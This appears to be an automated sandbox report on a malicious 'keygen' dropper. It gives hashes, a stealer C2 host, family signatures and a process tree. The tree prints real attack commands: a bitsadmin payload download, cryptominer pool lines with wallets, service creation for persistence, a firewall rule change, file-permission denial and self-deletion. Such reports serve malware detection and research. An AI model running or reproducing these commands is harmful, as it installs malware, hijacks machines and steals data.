Resubmissions

25-04-2021 09:42

210425-v9mttlcxke 10

25-04-2021 08:59

210425-1d89vxfyln 10

25-04-2021 07:37

210425-b8smdccdwe 10

25-04-2021 06:55

210425-1csfnkw57n 10

24-04-2021 20:32

210424-x7kp9rrf4x 10

Analysis

  • max time kernel
    32s
  • max time network
    126s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    25-04-2021 09:42

Errors

Reason
Machine shutdown

General

  • Target

    keygen-step-4.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
    1⤵
      PID:1360
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s SENS
      1⤵
        PID:1392
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Themes
        1⤵
          PID:1172
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
          1⤵
            PID:1072
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Browser
            1⤵
              PID:2740
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s WpnService
              1⤵
                PID:2720
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2700
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                1⤵
                  PID:2436
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2408
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                  1⤵
                    PID:1860
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:860
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:992
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
                        1⤵
                        • Checks computer location settings
                        • Suspicious use of WriteProcessMemory
                        PID:1808
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:3868
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1536
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2172
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4240
                          • C:\Users\Admin\AppData\Local\Temp\is-32QBO.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-32QBO.tmp\Install.tmp" /SL5="$6005E,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:4272
                            • C:\Users\Admin\AppData\Local\Temp\is-TVQIG.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-TVQIG.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:4348
                              • C:\Program Files\Microsoft Office\ZNPRCXPHTJ\ultramediaburner.exe
                                "C:\Program Files\Microsoft Office\ZNPRCXPHTJ\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:4556
                                • C:\Users\Admin\AppData\Local\Temp\is-MM89K.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-MM89K.tmp\ultramediaburner.tmp" /SL5="$201F8,281924,62464,C:\Program Files\Microsoft Office\ZNPRCXPHTJ\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:4588
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4632
                              • C:\Users\Admin\AppData\Local\Temp\a4-83321-9c3-3bd82-25ac1c2c75f59\Qabitudeho.exe
                                "C:\Users\Admin\AppData\Local\Temp\a4-83321-9c3-3bd82-25ac1c2c75f59\Qabitudeho.exe"
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4668
                              • C:\Users\Admin\AppData\Local\Temp\9d-328a0-345-a138c-79e4b6671eb39\Xogapaexulo.exe
                                "C:\Users\Admin\AppData\Local\Temp\9d-328a0-345-a138c-79e4b6671eb39\Xogapaexulo.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4720
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\otzjmsiv.v2e\instEU.exe & exit
                                  6⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4512
                                  • C:\Users\Admin\AppData\Local\Temp\otzjmsiv.v2e\instEU.exe
                                    C:\Users\Admin\AppData\Local\Temp\otzjmsiv.v2e\instEU.exe
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4472
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xynb5czg.dph\google-game.exe & exit
                                  6⤵
                                    PID:4408
                                    • C:\Users\Admin\AppData\Local\Temp\xynb5czg.dph\google-game.exe
                                      C:\Users\Admin\AppData\Local\Temp\xynb5czg.dph\google-game.exe
                                      7⤵
                                      • Executes dropped EXE
                                      • Drops file in Program Files directory
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4872
                                      • C:\Windows\SysWOW64\rundll32.exe
                                        "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                        8⤵
                                        • Loads dropped DLL
                                        PID:3268
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3sn1xwfx.wt0\md1_1eaf.exe & exit
                                    6⤵
                                      PID:5168
                                      • C:\Users\Admin\AppData\Local\Temp\3sn1xwfx.wt0\md1_1eaf.exe
                                        C:\Users\Admin\AppData\Local\Temp\3sn1xwfx.wt0\md1_1eaf.exe
                                        7⤵
                                        • Executes dropped EXE
                                        PID:5704
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3bay05ke.uo4\y1.exe & exit
                                      6⤵
                                        PID:5780
                                        • C:\Users\Admin\AppData\Local\Temp\3bay05ke.uo4\y1.exe
                                          C:\Users\Admin\AppData\Local\Temp\3bay05ke.uo4\y1.exe
                                          7⤵
                                            PID:5980
                                            • C:\Users\Admin\AppData\Local\Temp\ZDMggJXFvz.exe
                                              "C:\Users\Admin\AppData\Local\Temp\ZDMggJXFvz.exe"
                                              8⤵
                                                PID:2488
                                                • C:\Users\Admin\AppData\Roaming\1619344053690.exe
                                                  "C:\Users\Admin\AppData\Roaming\1619344053690.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619344053690.txt"
                                                  9⤵
                                                    PID:5968
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\ZDMggJXFvz.exe"
                                                    9⤵
                                                      PID:4820
                                                      • C:\Windows\SysWOW64\PING.EXE
                                                        ping 127.0.0.1 -n 3
                                                        10⤵
                                                        • Runs ping.exe
                                                        PID:5412
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\3bay05ke.uo4\y1.exe"
                                                    8⤵
                                                      PID:5436
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout /T 10 /NOBREAK
                                                        9⤵
                                                        • Delays execution with timeout.exe
                                                        PID:5228
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ibr43akm.aqw\askinstall39.exe & exit
                                                  6⤵
                                                    PID:6076
                                                    • C:\Users\Admin\AppData\Local\Temp\ibr43akm.aqw\askinstall39.exe
                                                      C:\Users\Admin\AppData\Local\Temp\ibr43akm.aqw\askinstall39.exe
                                                      7⤵
                                                        PID:5388
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                          8⤵
                                                            PID:4980
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /f /im chrome.exe
                                                              9⤵
                                                              • Kills process with taskkill
                                                              PID:4912
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p125otkf.55v\inst.exe & exit
                                                        6⤵
                                                          PID:4804
                                                          • C:\Users\Admin\AppData\Local\Temp\p125otkf.55v\inst.exe
                                                            C:\Users\Admin\AppData\Local\Temp\p125otkf.55v\inst.exe
                                                            7⤵
                                                              PID:5052
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zftumrop.gwu\SunLabsPlayer.exe /S & exit
                                                            6⤵
                                                              PID:6036
                                                              • C:\Users\Admin\AppData\Local\Temp\zftumrop.gwu\SunLabsPlayer.exe
                                                                C:\Users\Admin\AppData\Local\Temp\zftumrop.gwu\SunLabsPlayer.exe /S
                                                                7⤵
                                                                  PID:5668
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                    8⤵
                                                                      PID:5624
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                      8⤵
                                                                        PID:3768
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                        8⤵
                                                                          PID:5068
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                          8⤵
                                                                            PID:5508
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                            8⤵
                                                                              PID:428
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                              8⤵
                                                                                PID:5696
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr89D9.tmp\tempfile.ps1"
                                                                                8⤵
                                                                                  PID:5672
                                                                                • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                  "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                                  8⤵
                                                                                  • Download via BitsAdmin
                                                                                  PID:5784
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hdoy2ksd.ktx\GcleanerWW.exe /mixone & exit
                                                                              6⤵
                                                                                PID:4440
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qhz2aigd.wsq\toolspab1.exe & exit
                                                                                6⤵
                                                                                  PID:5548
                                                                                  • C:\Users\Admin\AppData\Local\Temp\qhz2aigd.wsq\toolspab1.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\qhz2aigd.wsq\toolspab1.exe
                                                                                    7⤵
                                                                                      PID:5836
                                                                                      • C:\Users\Admin\AppData\Local\Temp\qhz2aigd.wsq\toolspab1.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\qhz2aigd.wsq\toolspab1.exe
                                                                                        8⤵
                                                                                          PID:5052
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qhjyqzy2.bpv\c7ae36fa.exe & exit
                                                                                      6⤵
                                                                                        PID:5892
                                                                                        • C:\Users\Admin\AppData\Local\Temp\qhjyqzy2.bpv\c7ae36fa.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\qhjyqzy2.bpv\c7ae36fa.exe
                                                                                          7⤵
                                                                                            PID:5204
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hsshmyfr.0zh\app.exe /8-2222 & exit
                                                                                          6⤵
                                                                                            PID:4388
                                                                                            • C:\Users\Admin\AppData\Local\Temp\hsshmyfr.0zh\app.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\hsshmyfr.0zh\app.exe /8-2222
                                                                                              7⤵
                                                                                                PID:4544
                                                                                                • C:\Users\Admin\AppData\Local\Temp\hsshmyfr.0zh\app.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\hsshmyfr.0zh\app.exe" /8-2222
                                                                                                  8⤵
                                                                                                    PID:5452
                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        • Modifies system certificate store
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:4864
                                                                                        • C:\Users\Admin\AppData\Roaming\5365.tmp.exe
                                                                                          "C:\Users\Admin\AppData\Roaming\5365.tmp.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetThreadContext
                                                                                          PID:740
                                                                                          • C:\Users\Admin\AppData\Roaming\5365.tmp.exe
                                                                                            "C:\Users\Admin\AppData\Roaming\5365.tmp.exe"
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5472
                                                                                        • C:\Users\Admin\AppData\Roaming\55D7.tmp.exe
                                                                                          "C:\Users\Admin\AppData\Roaming\55D7.tmp.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Adds Run key to start application
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4004
                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                            -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w29150@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                            4⤵
                                                                                              PID:4516
                                                                                            • C:\Windows\system32\msiexec.exe
                                                                                              -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w22102 --cpu-max-threads-hint 50 -r 9999
                                                                                              4⤵
                                                                                                PID:4900
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                                              3⤵
                                                                                                PID:4536
                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                  ping 127.0.0.1
                                                                                                  4⤵
                                                                                                  • Runs ping.exe
                                                                                                  PID:4892
                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5796
                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
                                                                                              2⤵
                                                                                              • Checks whether UAC is enabled
                                                                                              • Modifies registry class
                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:4404
                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                3⤵
                                                                                                  PID:5956
                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                  3⤵
                                                                                                  • Modifies Internet Explorer settings
                                                                                                  PID:1792
                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                              1⤵
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • Modifies registry class
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3336
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                2⤵
                                                                                                • Drops file in System32 directory
                                                                                                • Checks processor information in registry
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Modifies registry class
                                                                                                PID:8
                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                              1⤵
                                                                                              • Drops file in Windows directory
                                                                                              • Modifies Internet Explorer settings
                                                                                              • Modifies registry class
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:1816
                                                                                            • C:\Windows\system32\browser_broker.exe
                                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                                              1⤵
                                                                                                PID:1792
                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                1⤵
                                                                                                  PID:4404
                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                  1⤵
                                                                                                  • Modifies Internet Explorer settings
                                                                                                  • Modifies registry class
                                                                                                  PID:4824
                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                  1⤵
                                                                                                    PID:4188
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7427.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7427.exe
                                                                                                    1⤵
                                                                                                      PID:5828
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\762C.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\762C.exe
                                                                                                      1⤵
                                                                                                        PID:4584
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\860B.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\860B.exe
                                                                                                        1⤵
                                                                                                          PID:5052
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\8689.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\8689.exe
                                                                                                          1⤵
                                                                                                            PID:4328
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Users\Admin\AppData\Local\66b902fe-94b8-4ed9-b6bb-33ac6d927fc0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                              2⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:5068
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\9242.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\9242.exe
                                                                                                            1⤵
                                                                                                              PID:5820
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\9242.exe"
                                                                                                                2⤵
                                                                                                                  PID:5028
                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                    timeout /T 10 /NOBREAK
                                                                                                                    3⤵
                                                                                                                    • Delays execution with timeout.exe
                                                                                                                    PID:3132
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\9C65.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\9C65.exe
                                                                                                                1⤵
                                                                                                                  PID:748
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\A119.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\A119.exe
                                                                                                                  1⤵
                                                                                                                    PID:5948
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\B464.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\B464.exe
                                                                                                                    1⤵
                                                                                                                      PID:2252
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tfpfbzrh\
                                                                                                                        2⤵
                                                                                                                          PID:5676
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iijupqow.exe" C:\Windows\SysWOW64\tfpfbzrh\
                                                                                                                          2⤵
                                                                                                                            PID:6136
                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                            "C:\Windows\System32\sc.exe" create tfpfbzrh binPath= "C:\Windows\SysWOW64\tfpfbzrh\iijupqow.exe /d\"C:\Users\Admin\AppData\Local\Temp\B464.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                            2⤵
                                                                                                                              PID:4284
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              "C:\Windows\System32\sc.exe" description tfpfbzrh "wifi internet conection"
                                                                                                                              2⤵
                                                                                                                                PID:4308
                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                "C:\Windows\System32\sc.exe" start tfpfbzrh
                                                                                                                                2⤵
                                                                                                                                  PID:6028
                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                  2⤵
                                                                                                                                    PID:4300
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\C992.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\C992.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:5360
                                                                                                                                  • C:\Windows\SysWOW64\tfpfbzrh\iijupqow.exe
                                                                                                                                    C:\Windows\SysWOW64\tfpfbzrh\iijupqow.exe /d"C:\Users\Admin\AppData\Local\Temp\B464.exe"
                                                                                                                                    1⤵
                                                                                                                                      PID:4340

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Enterprise v6

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    • memory/8-205-0x000001D09E100000-0x000001D09E1FF000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1020KB

                                                                                                                                    • memory/8-168-0x000001D09BBD0000-0x000001D09BC40000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      448KB

                                                                                                                                    • memory/860-283-0x0000017789300000-0x0000017789370000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      448KB

                                                                                                                                    • memory/860-282-0x0000017788B90000-0x0000017788BDB000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      300KB

                                                                                                                                    • memory/860-178-0x0000017788C20000-0x0000017788C90000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      448KB

                                                                                                                                    • memory/992-170-0x000001C36E820000-0x000001C36E890000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      448KB

                                                                                                                                    • memory/1072-176-0x000001DBA6640000-0x000001DBA66B0000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      448KB

